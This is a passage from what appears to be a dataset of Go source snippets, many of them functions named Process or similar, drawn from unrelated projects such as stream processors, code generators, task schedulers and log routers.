err)\\n\\t\\t\\tcontinue\\n\\t\\t}\\n\\t\\tjson.Unmarshal(contents, &res)\\n\\t}\\n\\n\\tif err := merger.MapAndStruct(res, spec); err != nil {\\n\\t\\tel = append(el, err)\\n\\t}\\n\\n\\treturn el.Err()\\n}\",\n \"func (m *Module) Process(file pgs.File) {\\n\\t// check file option: FileSkip\\n\\tfileSkip := false\\n\\tm.must(file.Extension(redact.E_FileSkip, &fileSkip))\\n\\tif fileSkip {\\n\\t\\treturn\\n\\t}\\n\\n\\t// imports and their aliases\\n\\tpath2Alias, alias2Path := m.importPaths(file)\\n\\tnameWithAlias := func(n pgs.Entity) string {\\n\\t\\timp := m.ctx.ImportPath(n).String()\\n\\t\\tname := m.ctx.Name(n).String()\\n\\t\\tif alias := path2Alias[imp]; alias != \\\"\\\" {\\n\\t\\t\\tname = alias + \\\".\\\" + name\\n\\t\\t}\\n\\t\\treturn name\\n\\t}\\n\\n\\tdata := &ProtoFileData{\\n\\t\\tSource: file.Name().String(),\\n\\t\\tPackage: m.ctx.PackageName(file).String(),\\n\\t\\tImports: alias2Path,\\n\\t\\tReferences: m.references(file, nameWithAlias),\\n\\t\\tServices: make([]*ServiceData, 0, len(file.Services())),\\n\\t\\tMessages: make([]*MessageData, 0, len(file.AllMessages())),\\n\\t}\\n\\n\\t// all services\\n\\tfor _, srv := range file.Services() {\\n\\t\\tdata.Services = append(data.Services, m.processService(srv, nameWithAlias))\\n\\t}\\n\\n\\t// all messages\\n\\tfor _, msg := range file.AllMessages() {\\n\\t\\tdata.Messages = append(data.Messages, m.processMessage(msg, nameWithAlias, true))\\n\\t}\\n\\n\\t// render file in the template\\n\\tname := m.ctx.OutputPath(file).SetExt(\\\".redact.go\\\")\\n\\tm.AddGeneratorTemplateFile(name.String(), m.tmpl, data)\\n}\",\n \"func (s *Processor) ProcessEntry(entry interfaces.IEBEntry, dblock interfaces.IDirectoryBlock) error {\\n\\tif len(entry.ExternalIDs()) == 0 {\\n\\t\\treturn nil\\n\\t}\\n\\tswitch string(entry.ExternalIDs()[0]) {\\n\\tcase \\\"TwitterBank Chain\\\":\\n\\t\\t// TODO: Remove this hack\\n\\t\\tif len(entry.ExternalIDs()) == 3 {\\n\\t\\t\\treturn s.ProcessTwitterChain(entry, dblock)\\n\\t\\t}\\n\\t\\treturn s.ProcessTwitterEntry(entry, dblock)\\n\\tcase \\\"TwitterBank Record\\\":\\n\\t\\treturn s.ProcessTwitterChain(entry, dblock)\\n\\t}\\n\\n\\treturn nil\\n}\",\n \"func (args *Arguments) Process() {\\n\\targs.define()\\n\\targs.process()\\n}\",\n \"func (f LineProcessorFunc) Process(line []byte, metadata LineMetadata) (out []byte, err error) {\\n\\treturn f(line, metadata)\\n}\",\n \"func processFile(file *File) {\\n\\tapplyTransformers(file)\\n\\tanalyzeFile(file)\\n}\",\n \"func process() error {\\n\\tif err := processItems(); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\tif err := addConfigs(); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\treturn nil\\n}\",\n \"func (t *TransformerOperator) ProcessWith(ctx context.Context, entry *entry.Entry, transform TransformFunction) error {\\n\\t// Short circuit if the \\\"if\\\" condition does not match\\n\\tskip, err := t.Skip(ctx, entry)\\n\\tif err != nil {\\n\\t\\treturn t.HandleEntryError(ctx, entry, err)\\n\\t}\\n\\tif skip {\\n\\t\\tt.Write(ctx, entry)\\n\\t\\treturn nil\\n\\t}\\n\\n\\tif err := transform(entry); err != nil {\\n\\t\\treturn t.HandleEntryError(ctx, entry, err)\\n\\t}\\n\\tt.Write(ctx, entry)\\n\\treturn nil\\n}\",\n \"func process(input, stage t) t {\\n\\treturn (t)(fmt.Sprintf(\\\"%s|%s\\\", input, stage))\\n}\",\n \"func (p *intermediateTask) Process(ctx context.Context, req *pb.TaskRequest) error {\\n\\tphysicalPlan := models.PhysicalPlan{}\\n\\tif err := encoding.JSONUnmarshal(req.PhysicalPlan, &physicalPlan); err != nil {\\n\\t\\treturn errUnmarshalPlan\\n\\t}\\n\\tpayload := req.Payload\\n\\tquery := &stmt.Query{}\\n\\tif err := encoding.JSONUnmarshal(payload, query); err != nil {\\n\\t\\treturn errUnmarshalQuery\\n\\t}\\n\\tgroupAgg := aggregation.NewGroupingAggregator(\\n\\t\\tquery.Interval,\\n\\t\\tquery.TimeRange,\\n\\t\\tbuildAggregatorSpecs(query.FieldNames))\\n\\ttaskSubmitted := false\\n\\tfor _, intermediate := range physicalPlan.Intermediates {\\n\\t\\tif intermediate.Indicator == p.curNodeID {\\n\\t\\t\\ttaskID := p.taskManager.AllocTaskID()\\n\\t\\t\\t//TODO set task id\\n\\t\\t\\ttaskCtx := newTaskContext(taskID, IntermediateTask, req.ParentTaskID, intermediate.Parent,\\n\\t\\t\\t\\tintermediate.NumOfTask, newResultMerger(ctx, groupAgg, nil))\\n\\t\\t\\tp.taskManager.Submit(taskCtx)\\n\\t\\t\\ttaskSubmitted = true\\n\\t\\t\\tbreak\\n\\t\\t}\\n\\t}\\n\\tif !taskSubmitted {\\n\\t\\treturn errWrongRequest\\n\\t}\\n\\n\\tif err := p.sendLeafTasks(physicalPlan, req); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\treturn nil\\n}\",\n \"func (f *Flattener) ProcessMapEntry(entry interface{}) bool {\\n\\n\\tnewValue, err := f.flatten(entry.(*mapEntry))\\n\\tif err != nil {\\n\\t\\tif logh.ErrorEnabled {\\n\\t\\t\\tf.loggers.Error().Msg(err.Error())\\n\\t\\t}\\n\\n\\t\\treturn false\\n\\t}\\n\\n\\titem, err := f.transport.FlattenerPointToDataChannelItem(newValue)\\n\\tif err != nil {\\n\\t\\tif logh.ErrorEnabled {\\n\\t\\t\\tf.loggers.Error().Msg(err.Error())\\n\\t\\t}\\n\\n\\t\\treturn false\\n\\t}\\n\\n\\tf.transport.DataChannel() <- item\\n\\n\\treturn true\\n}\",\n \"func (s *Stream) Process(name string, p Processor) *Stream {\\n\\tn := s.tp.AddProcessor(name, p, s.parents)\\n\\n\\treturn newStream(s.tp, []Node{n})\\n}\",\n \"func (ep *groupbyExecutionPlan) Process(input *core.Tuple) ([]data.Map, error) {\\n\\treturn ep.process(input, ep.performQueryOnBuffer)\\n}\",\n \"func (r *RollupRouter) Process(logmsg map[string]interface{}) {\\n\\tif r.ctxDone {\\n\\t\\treturn\\n\\t}\\n\\n\\tstatusCode, ok := logmsg[\\\"status-code\\\"].(int)\\n\\tif !ok {\\n\\t\\treturn\\n\\t}\\n\\top, ok := logmsg[\\\"op\\\"].(string)\\n\\tif !ok {\\n\\t\\treturn\\n\\t}\\n\\thttpMethod, ok := logmsg[\\\"method\\\"].(string)\\n\\tif !ok {\\n\\t\\treturn\\n\\t}\\n\\tcanary, ok := logmsg[\\\"canary\\\"].(bool)\\n\\tif !ok {\\n\\t\\treturn\\n\\t}\\n\\tr.findOrCreate(statusCode, op, httpMethod, canary).add(logmsg)\\n}\",\n \"func (_ ClicheProcessor) Process(c *Chunk) *Chunk {\\n\\tmsg := \\\"This is a cliche.\\\"\\n\\treturn doTextProcessor(proc.ClicheProcessor(), \\\"cliche\\\", c, msg)\\n}\",\n \"func (m *Processor) Process(string) (func(phono.Buffer) (phono.Buffer, error), error) {\\n\\treturn func(b phono.Buffer) (phono.Buffer, error) {\\n\\t\\tm.Advance(b)\\n\\t\\treturn b, nil\\n\\t}, nil\\n}\",\n \"func Process(v, pattern, prerelease, metadata, prefix string, ignore bool) (string, error) {\\n\\tlastTag := getLatestGitTag(getCommitSHA())\\n\\tif ignore && v == \\\"\\\" {\\n\\t\\treturn \\\"\\\", fmt.Errorf(\\\"ignore previous is true but no base version provided, please check input\\\")\\n\\t} else if !ignore {\\n\\t\\tv = lastTag\\n\\t}\\n\\n\\tif prerelease == \\\"\\\" {\\n\\t\\tprerelease = timeSinceLastTag(lastTag)\\n\\t}\\n\\n\\tsemVer, err := semver.NewVersion(v)\\n\\tif err != nil {\\n\\t\\treturn \\\"\\\", fmt.Errorf(\\\"version parse failed, [%v]. %s is not a valid SemVer tag\\\", err, v)\\n\\t}\\n\\n\\toutVersion := incVersion(*semVer, pattern)\\n\\n\\tt, err := outVersion.SetPrerelease(prerelease)\\n\\tif err != nil {\\n\\t\\treturn \\\"\\\", fmt.Errorf(\\\"error appending pre-release data: %v\\\", err)\\n\\t}\\n\\toutVersion = t\\n\\n\\tif metadata != \\\"\\\" {\\n\\t\\tt, err := outVersion.SetMetadata(metadata)\\n\\t\\tif err != nil {\\n\\t\\t\\treturn \\\"\\\", fmt.Errorf(\\\"error appending metadata: %v\\\", err)\\n\\t\\t}\\n\\t\\toutVersion = t\\n\\t}\\n\\n\\toutString := outVersion.String()\\n\\n\\tif prefix != \\\"\\\" {\\n\\t\\toutString = fmt.Sprintf(\\\"%s%s\\\", prefix, outString)\\n\\t}\\n\\n\\treturn outString, nil\\n}\",\n \"func (n *ParDo) ProcessElement(_ context.Context, elm *FullValue, values ...ReStream) error {\\n\\tif n.status != Active {\\n\\t\\treturn errors.Errorf(\\\"invalid status for pardo %v: %v, want Active\\\", n.UID, n.status)\\n\\t}\\n\\n\\tn.states.Set(n.ctx, metrics.ProcessBundle)\\n\\n\\treturn n.processMainInput(&MainInput{Key: *elm, Values: values})\\n}\",\n \"func postProcess(ctx context.Context, handle dispatcher.TaskHandle, gTask *proto.Task, logger *zap.Logger) error {\\n\\ttaskMeta := &TaskMeta{}\\n\\terr := json.Unmarshal(gTask.Meta, taskMeta)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\ttableImporter, err := buildTableImporter(ctx, taskMeta)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\tdefer func() {\\n\\t\\terr2 := tableImporter.Close()\\n\\t\\tif err == nil {\\n\\t\\t\\terr = err2\\n\\t\\t}\\n\\t}()\\n\\n\\tmetas, err := handle.GetPreviousSubtaskMetas(gTask.ID, gTask.Step)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\tsubtaskMetas := make([]*SubtaskMeta, 0, len(metas))\\n\\tfor _, bs := range metas {\\n\\t\\tvar subtaskMeta SubtaskMeta\\n\\t\\tif err := json.Unmarshal(bs, &subtaskMeta); err != nil {\\n\\t\\t\\treturn err\\n\\t\\t}\\n\\t\\tsubtaskMetas = append(subtaskMetas, &subtaskMeta)\\n\\t}\\n\\n\\tlogger.Info(\\\"post process\\\", zap.Any(\\\"task_meta\\\", taskMeta), zap.Any(\\\"subtask_metas\\\", subtaskMetas))\\n\\tif err := verifyChecksum(ctx, tableImporter, subtaskMetas, logger); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\tupdateResult(taskMeta, subtaskMetas, logger)\\n\\treturn updateMeta(gTask, taskMeta)\\n}\",\n \"func (f *Ifacer) Process() error {\\n\\tcontent, err := f.tpl.Execute(\\\"ifacer\\\", ifacerTemplate, f)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\tsrc, err := imports.Process(\\\"\\\", []byte(content), nil)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\tf.Content = string(src)\\n\\n\\treturn nil\\n}\",\n \"func processCompileUnit(theReader *dwarf.Reader, depth int, theEntry *dwarf.Entry) {\\n\\n\\n\\n\\t// Process the entry\\n\\tgCurrentFile = theEntry.Val(dwarf.AttrName).(string);\\n\\n\\tif (theEntry.Children) {\\n\\t\\tprocessChildren(theReader, depth+1, false);\\n\\t}\\n\\n\\tgCurrentFile = \\\"\\\";\\n\\n}\",\n \"func Process(cmdLine CommandLine) error {\\n\\tfile, err := os.Open(cmdLine.FilePath)\\n\\tif err != nil {\\n\\t\\treturn errors.Wrap(err, \\\"failed to open file\\\")\\n\\t}\\n\\n\\tvar parser cartparsers.CartParser\\n\\tif cmdLine.IsCarters {\\n\\t\\tparser = cartparsers.NewCartersParser(cmdLine.Username, cmdLine.Password)\\n\\t}\\n\\tif parser == nil {\\n\\t\\treturn errors.New(\\\"failed get parser\\\")\\n\\t}\\n\\n\\tresult, err := parser.Parse(file)\\n\\tif err != nil {\\n\\t\\treturn errors.Wrap(err, \\\"failed to parse cart\\\")\\n\\t}\\n\\n\\treturn SaveTemplate(cmdLine.TemplatePath, result)\\n}\",\n \"func (p *Plugin) Process(rawSpec map[string]interface{}, context *smith_plugin.Context) smith_plugin.ProcessResult {\\n\\tspec := Spec{}\\n\\terr := runtime.DefaultUnstructuredConverter.FromUnstructured(rawSpec, &spec)\\n\\tif err != nil {\\n\\t\\treturn &smith_plugin.ProcessResultFailure{\\n\\t\\t\\tError: errors.Wrap(err, \\\"failed to unmarshal json spec\\\"),\\n\\t\\t}\\n\\t}\\n\\n\\t// Do the processing\\n\\troleInstance, err := generateRoleInstance(&spec)\\n\\tif err != nil {\\n\\t\\treturn &smith_plugin.ProcessResultFailure{\\n\\t\\t\\tError: err,\\n\\t\\t}\\n\\t}\\n\\treturn &smith_plugin.ProcessResultSuccess{\\n\\t\\tObject: roleInstance,\\n\\t}\\n}\",\n \"func (c *Collection) Process(outdir string) error {\\n\\tfor _, a := range c.assets {\\n\\t\\tif err := c.ProcessAsset(a, c.filters, outdir); err != nil {\\n\\t\\t\\treturn err\\n\\t\\t}\\n\\t}\\n\\treturn nil\\n}\",\n \"func (processor *Processor) Process(event *stream.Event) error {\\n\\tnewBattleComments := make(map[string][]*comments.Comment)\\n\\tfor _, record := range event.Records {\\n\\t\\tprocessor.captureChanges(&record, newBattleComments)\\n\\t}\\n\\tfor battleID, newComments := range newBattleComments {\\n\\t\\tprocessor.processNewComments(battleID, newComments)\\n\\t}\\n\\treturn nil\\n}\",\n \"func lineProcess(line string) {\\n\\t// pre process\\n\\n\\tlog, err := UnmarshalLog(line)\\n\\tif err != nil {\\n\\t\\treturn\\n\\t}\\n\\n\\t// post process\\n\\n\\t// Update Global Data \\n\\tgMu.Lock()\\n\\tallMap[log.HDid] ++\\n\\tif log.HAv != \\\"\\\" {\\n\\t\\terrMap[log.HDid] ++\\n\\t}\\n\\tgMu.Unlock()\\n\\n}\",\n \"func (tpl *Engine) Process(m map[string]string) (result string, err error) {\\n\\tw := tpl.byteBufferPool.Get()\\n\\tn := len(tpl.texts) - 1\\n\\tif n == -1 {\\n\\t\\tif _, err = w.Write([]byte(tpl.data)); err != nil {\\n\\t\\t\\treturn\\n\\t\\t}\\n\\t} else {\\n\\t\\tfor i := 0; i < n; i++ {\\n\\t\\t\\tif _, err = w.Write(tpl.texts[i]); err != nil {\\n\\t\\t\\t\\treturn\\n\\t\\t\\t}\\n\\t\\t\\tv := m[tpl.tags[i]]\\n\\t\\t\\tif _, err = w.Write([]byte(v)); err != nil {\\n\\t\\t\\t\\treturn\\n\\t\\t\\t}\\n\\t\\t}\\n\\t\\tif _, err = w.Write(tpl.texts[n]); err != nil {\\n\\t\\t\\treturn\\n\\t\\t}\\n\\t}\\n\\n\\ts := string(w.Bytes())\\n\\tw.Reset()\\n\\ttpl.byteBufferPool.Put(w)\\n\\treturn s, err\\n}\",\n \"func (machine *Machine) Process(e *expect.GExpect, root *Root, server *Server) error {\\n\\tif machine.Ignore {\\n\\t\\treturn nil\\n\\t}\\n\\tif err := machine.Create(e, root, server); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\treturn nil\\n}\",\n \"func Process(rule CSSRule, ts ...Transformer) CSSRule {\\n\\tts = append(ts, Flattern)\\n\\tfor _, v := range ts {\\n\\t\\trule = v(rule)\\n\\t}\\n\\treturn rule\\n}\",\n \"func (h *hasher) ProcessRecord(r *store.Record) error {\\n\\tif r.File() == nil {\\n\\t\\th.log.Printf(\\\"Module '%s': no record's file available for %s\\\", moduleName, r.Key())\\n\\t\\treturn nil\\n\\t}\\n\\n\\th.hash.Reset()\\n\\tif _, err := io.Copy(h.hash, r.File()); err != nil {\\n\\t\\treturn fmt.Errorf(\\\"module '%s': fail to compute checksum for '%s': %v\\\", moduleName, r.Key(), err)\\n\\t}\\n\\tchecksum := hex.EncodeToString(h.hash.Sum(nil))\\n\\tr.Set(HashField, checksum)\\n\\th.log.Printf(\\\"Module '%s': record hash is: %v\\\", moduleName, checksum)\\n\\n\\tmatches, err := h.store.SearchFields(-1, HashField, checksum)\\n\\tif err != nil {\\n\\t\\treturn fmt.Errorf(\\\"module '%s': fail to look for duplicate: %v\\\", moduleName, err)\\n\\t}\\n\\tif len(matches) > 0 {\\n\\t\\treturn fmt.Errorf(\\\"module '%s': possible duplicate(s) of record (%v) found in the database\\\", moduleName, matches)\\n\\t}\\n\\n\\treturn nil\\n}\",\n \"func (p *Orderer) Process(e dag.Event) (err error) {\\n\\terr, selfParentFrame := p.checkAndSaveEvent(e)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\terr = p.handleElection(selfParentFrame, e)\\n\\tif err != nil {\\n\\t\\t// election doesn't fail under normal circumstances\\n\\t\\t// storage is in an inconsistent state\\n\\t\\tp.crit(err)\\n\\t}\\n\\treturn err\\n}\",\n \"func (i *Item) Process(cmd *command.Command) (handled bool) {\\n\\n\\t// This specific item?\\n\\tif !i.IsAlias(cmd.Target) {\\n\\t\\treturn\\n\\t}\\n\\n\\tswitch cmd.Verb {\\n\\tcase \\\"DROP\\\":\\n\\t\\thandled = i.drop(cmd)\\n\\tcase \\\"WEIGH\\\":\\n\\t\\thandled = i.weigh(cmd)\\n\\tcase \\\"EXAMINE\\\", \\\"EXAM\\\":\\n\\t\\thandled = i.examine(cmd)\\n\\tcase \\\"GET\\\":\\n\\t\\thandled = i.get(cmd)\\n\\tcase \\\"JUNK\\\":\\n\\t\\thandled = i.junk(cmd)\\n\\t}\\n\\n\\treturn\\n}\",\n \"func (mf *Flags) Process() {\\n\\tflag.StringVar(&mf.ConfigPath, \\\"file\\\", defaultConfigPath, \\\" full path to the configuration file\\\")\\n\\tflag.BoolVar(&mf.Verify, \\\"verify\\\", false, \\\"only verify the configuration, don't run\\\")\\n\\tflag.Parse()\\n}\",\n \"func (fn *RuntimeMonitor) ProcessElement(key, value []byte, emit func([]byte, []byte)) {\\n\\temit(key, value)\\n}\",\n \"func (c *Collection) Process() error {\\n\\tfor _, a := range c.assets {\\n\\t\\tif err := c.ProcessAsset(a, c.filters); err != nil {\\n\\t\\t\\treturn err\\n\\t\\t}\\n\\t}\\n\\treturn nil\\n}\",\n \"func Process(event *events.SQSEvent) error {\\n\\n\\tp := newProcessor(*newForwarder(), *newDBClient())\\n\\n\\tfor _, message := range event.Records {\\n\\t\\tfmt.Printf(\\\"Processing message %s | %s\\\\n\\\", message.MessageId, message.Body)\\n\\n\\t\\terr := p.subProcess(&message)\\n\\t\\tif err != nil {\\n\\t\\t\\treturn fmt.Errorf(\\\"could not call subprocessor: %v\\\", err)\\n\\t\\t}\\n\\t}\\n\\treturn nil\\n}\",\n \"func (c Collation) Process(p RuleProcessor) (err error) {\\n\\tif len(c.Cr) > 0 {\\n\\t\\tif len(c.Cr) > 1 {\\n\\t\\t\\treturn fmt.Errorf(\\\"multiple cr elements, want 0 or 1\\\")\\n\\t\\t}\\n\\t\\treturn processRules(p, c.Cr[0].Data())\\n\\t}\\n\\tif c.Rules.Any != nil {\\n\\t\\treturn c.processXML(p)\\n\\t}\\n\\treturn errors.New(\\\"no tailoring data\\\")\\n}\",\n \"func (s *BaseSyslParserListener) EnterTransform(ctx *TransformContext) {}\",\n \"func (s *Stream) Process(f interface{}) *Stream {\\n\\top, err := unary.ProcessFunc(f)\\n\\tif err != nil {\\n\\t\\ts.drainErr(err)\\n\\t\\treturn s\\n\\t}\\n\\treturn s.Transform(op)\\n}\",\n \"func (r *Router) process(path string, query url.Values) {\\n\\tr.process2(path, query, nil)\\n}\",\n \"func (ts *TraceServiceExtractor) Process(t model.WeightedTrace) {\\n\\tmeta := make(model.ServicesMetadata)\\n\\n\\tfor _, s := range t {\\n\\t\\tif !s.TopLevel {\\n\\t\\t\\tcontinue\\n\\t\\t}\\n\\n\\t\\tif _, ok := meta[s.Service]; ok {\\n\\t\\t\\tcontinue\\n\\t\\t}\\n\\n\\t\\tif v := s.Type; len(v) > 0 {\\n\\t\\t\\tmeta[s.Service] = map[string]string{model.AppType: v}\\n\\t\\t}\\n\\t}\\n\\n\\tif len(meta) > 0 {\\n\\t\\tts.outServices <- meta\\n\\t}\\n}\",\n \"func (s *Service) Process(ctx context.Context, request []byte) ([]byte, error) {\\n\\tserviceContext := GetServiceContext(ctx)\\n\\tname, args, err := s.Codec.Decode(request, serviceContext)\\n\\tif err != nil {\\n\\t\\treturn s.Codec.Encode(err, serviceContext)\\n\\t}\\n\\tvar result interface{}\\n\\tfunc() {\\n\\t\\tdefer func() {\\n\\t\\t\\tif p := recover(); p != nil {\\n\\t\\t\\t\\tresult = NewPanicError(p)\\n\\t\\t\\t}\\n\\t\\t}()\\n\\t\\tresults, err := s.invokeManager.Handler().(NextInvokeHandler)(ctx, name, args)\\n\\t\\tif err != nil {\\n\\t\\t\\tresult = err\\n\\t\\t\\treturn\\n\\t\\t}\\n\\t\\tswitch len(results) {\\n\\t\\tcase 0:\\n\\t\\t\\tresult = nil\\n\\t\\tcase 1:\\n\\t\\t\\tresult = results[0]\\n\\t\\tdefault:\\n\\t\\t\\tresult = results\\n\\t\\t}\\n\\t}()\\n\\treturn s.Codec.Encode(result, serviceContext)\\n}\",\n \"func (tx *Tx) Process(process Processor) {\\n\\tfor i := 0; i < len(tx.leases); i++ {\\n\\t\\titer := Iter{Lease: Clone(tx.leases[i])}\\n\\t\\tprocess(&iter)\\n\\t\\ti += tx.apply(iter.action, iter.Lease, i, 1)\\n\\t}\\n\\tsort.Sort(tx.leases)\\n}\",\n \"func (a *writeAuthorizer) Process(r *http.Request, wr *prompb.WriteRequest) error {\\n\\tvar (\\n\\t\\ttenantFromHeader = getTenant(r)\\n\\t\\tnum = len(wr.Timeseries)\\n\\t)\\n\\tif num == 0 {\\n\\t\\treturn nil\\n\\t}\\n\\tfor i := 0; i < num; i++ {\\n\\t\\tmodifiedLbls, err := a.verifyAndApplyTenantLabel(tenantFromHeader, wr.Timeseries[i].Labels)\\n\\t\\tif err != nil {\\n\\t\\t\\treturn fmt.Errorf(\\\"write-authorizer process: %w\\\", err)\\n\\t\\t}\\n\\t\\twr.Timeseries[i].Labels = modifiedLbls\\n\\t}\\n\\treturn nil\\n}\",\n \"func (p *addProcessMetadata) Run(event *beat.Event) (*beat.Event, error) {\\n\\tfor _, pidField := range p.config.MatchPIDs {\\n\\t\\tresult, err := p.enrich(event.Fields, pidField)\\n\\t\\tif err != nil {\\n\\t\\t\\tswitch err {\\n\\t\\t\\tcase common.ErrKeyNotFound:\\n\\t\\t\\t\\tcontinue\\n\\t\\t\\tcase ErrNoProcess:\\n\\t\\t\\t\\treturn event, err\\n\\t\\t\\tdefault:\\n\\t\\t\\t\\treturn event, errors.Wrapf(err, \\\"error applying %s processor\\\", processorName)\\n\\t\\t\\t}\\n\\t\\t}\\n\\t\\tif result != nil {\\n\\t\\t\\tevent.Fields = result\\n\\t\\t}\\n\\t\\treturn event, nil\\n\\t}\\n\\tif p.config.IgnoreMissing {\\n\\t\\treturn event, nil\\n\\t}\\n\\treturn event, ErrNoMatch\\n}\",\n \"func (f *IPLineFilter) Process(line []byte, _ *LabelsBuilder) ([]byte, bool) {\\n\\treturn line, f.filterTy(line, f.ty)\\n}\",\n \"func processFile(path string) error {\\n\\tid, err := getEntryID(path)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\tentry, err := loadEntry(id)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\tif err := tagFile(path, entry); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\treturn nil\\n}\",\n \"func (mov *Moves) Process() {\\n\\tmov.Upsert(mov.Select(movRelCollide.All()), nil)\\n\\t// TODO 2-phase application so that mid-line and glancing collisions are possible\\n\\tmov.Upsert(mov.Select((movRelPending | movDir | movMag).All()), mov.processPendingMove)\\n}\",\n \"func (s *Scheduler) Process(ip Meta) (data []Meta) {\\n\\tk := s.getKey(ip)\\n\\tif _, exists := s.hash[k]; !exists {\\n\\t\\ts.hash[k] = newVal(s.batchSize)\\n\\t}\\n\\ts.hash[k].add(ip)\\n\\tdata = s.batchProcess(k)\\n\\treturn\\n}\",\n \"func (req *Request) Process() error {\\n\\ts, err := req.TextProto.ReadLine()\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\treq.Line = strings.Split(s, \\\" \\\")\\n\\tif len(req.Line) <= 0 {\\n\\t\\treturn req.TextProto.PrintfLine(\\\"%d %s (%s)\\\", 500, \\\"Command not recognized\\\", s)\\n\\t}\\n\\n\\tif req.Server.Processors == nil {\\n\\t\\treq.Server.Processors = DefaultProcessors\\n\\t}\\n\\n\\treq.Line[0] = strings.ToUpper(req.Line[0])\\n\\n\\tprocessor, found := req.Server.Processors[req.Line[0]]\\n\\tif !found {\\n\\t\\treturn req.TextProto.PrintfLine(\\\"%d %s (%s)\\\", 500, \\\"Command not recognized\\\", req.Line[0])\\n\\t}\\n\\n\\treturn processor(req)\\n}\",\n \"func (p *Publisher) Process(msg message.Message) ([]bytes.Buffer, error) {\\n\\tp.publisher.Publish(msg.Category(), msg)\\n\\treturn nil, nil\\n}\",\n \"func (p *leafTaskProcessor) Process(\\n\\tctx context.Context,\\n\\tstream protoCommonV1.TaskService_HandleServer,\\n\\treq *protoCommonV1.TaskRequest,\\n) {\\n\\terr := p.process(ctx, req)\\n\\tif err == nil {\\n\\t\\treturn\\n\\t}\\n\\tif sendError := stream.Send(&protoCommonV1.TaskResponse{\\n\\t\\tTaskID: req.ParentTaskID,\\n\\t\\tType: protoCommonV1.TaskType_Leaf,\\n\\t\\tCompleted: true,\\n\\t\\tErrMsg: err.Error(),\\n\\t\\tSendTime: timeutil.NowNano(),\\n\\t}); sendError != nil {\\n\\t\\tp.logger.Error(\\\"failed to send error message to target stream\\\",\\n\\t\\t\\tlogger.String(\\\"taskID\\\", req.ParentTaskID),\\n\\t\\t\\tlogger.Error(err),\\n\\t\\t)\\n\\t}\\n}\",\n \"func (c crd) Process(appMeta helmify.AppMetadata, obj *unstructured.Unstructured) (bool, helmify.Template, error) {\\n\\tif obj.GroupVersionKind() != crdGVC {\\n\\t\\treturn false, nil, nil\\n\\t}\\n\\tspecUnstr, ok, err := unstructured.NestedMap(obj.Object, \\\"spec\\\")\\n\\tif err != nil || !ok {\\n\\t\\treturn true, nil, errors.Wrap(err, \\\"unable to create crd template\\\")\\n\\t}\\n\\tversions, _ := yaml.Marshal(specUnstr)\\n\\tversions = yamlformat.Indent(versions, 2)\\n\\tversions = bytes.TrimRight(versions, \\\"\\\\n \\\")\\n\\n\\tres := fmt.Sprintf(crdTeml, obj.GetName(), appMeta.ChartName(), string(versions))\\n\\tname, _, err := unstructured.NestedString(obj.Object, \\\"spec\\\", \\\"names\\\", \\\"singular\\\")\\n\\tif err != nil || !ok {\\n\\t\\treturn true, nil, errors.Wrap(err, \\\"unable to create crd template\\\")\\n\\t}\\n\\treturn true, &result{\\n\\t\\tname: name + \\\"-crd.yaml\\\",\\n\\t\\tdata: []byte(res),\\n\\t}, nil\\n}\",\n \"func (s *Service) Process(ctx context.Context, payload hooks.PushPayload) {\\n\\tstart := time.Now()\\n\\t// this span is a child of the parent span in the http handler, but since this will finish after\\n\\t// the http handler returns, it follows from that span so it will display correctly.\\n\\tparentContext := opentracing.SpanFromContext(ctx).Context()\\n\\tspanOption := opentracing.FollowsFrom(parentContext)\\n\\tspan := opentracing.StartSpan(\\\"process_scala\\\", spanOption)\\n\\tdefer span.Finish()\\n\\n\\t// creates a new copy of the context with the following span\\n\\tctx = opentracing.ContextWithSpan(ctx, span)\\n\\n\\t// create a new directory to do all the work of this Process call which can be cleaned up at the end.\\n\\tid := uuid.NewV4().String()\\n\\tworkDir := fmt.Sprintf(\\\"/tmp/%s\\\", id)\\n\\terr := os.Mkdir(workDir, 0750)\\n\\tif err != nil {\\n\\t\\ts.metrics.AddPackagingErrors(prometheus.Labels{\\\"type\\\": \\\"mkdir\\\"}, 1)\\n\\t\\terr = errors.WithStack(err)\\n\\t\\ts.logger.Errorf(\\\"%+v\\\", err)\\n\\t\\treturn\\n\\t}\\n\\n\\t// create a struct for passing to other functions referencing the location of the work\\n\\t// this specific Process call is executing.\\n\\tprocProps := processorProps{\\n\\t\\tID: id,\\n\\t\\tWorkDir: workDir,\\n\\t}\\n\\n\\t// defer cleanup of this Process execution\\n\\tdefer cleanup(ctx, s.fs, s.logger, procProps)\\n\\n\\t// if we receive a signal that this goroutine should stop, do that\\n\\t// since cleanup is deferred it will still execute after the return statement\\n\\tselect {\\n\\tcase <-ctx.Done():\\n\\t\\treturn\\n\\t// otherwise, do our work\\n\\tdefault:\\n\\t\\t// clone down the repository\\n\\t\\tpath, err := s.cloneCode(ctx, payload, procProps)\\n\\t\\tif err != nil {\\n\\t\\t\\ts.metrics.AddPackagingErrors(prometheus.Labels{\\\"type\\\": \\\"clone\\\"}, 1)\\n\\t\\t\\ts.logger.Errorf(\\\"%+v\\\\n\\\", errors.WithStack(err))\\n\\t\\t\\treturn\\n\\t\\t}\\n\\n\\t\\t// on master branch we want to cut a full release\\n\\t\\t// but on any other branch or commit we should be be making\\n\\t\\t// a prerelease\\n\\t\\tvar version string\\n\\t\\tvar prerelease bool\\n\\t\\tif strings.Contains(payload.Ref, \\\"master\\\") {\\n\\t\\t\\tversion = fmt.Sprintf(\\\"v1.0.%d\\\", payload.Repository.PushedAt)\\n\\t\\t\\tprerelease = false\\n\\t\\t} else {\\n\\t\\t\\tbranch := g.RefEndName(payload.Ref)\\n\\t\\t\\tversion = 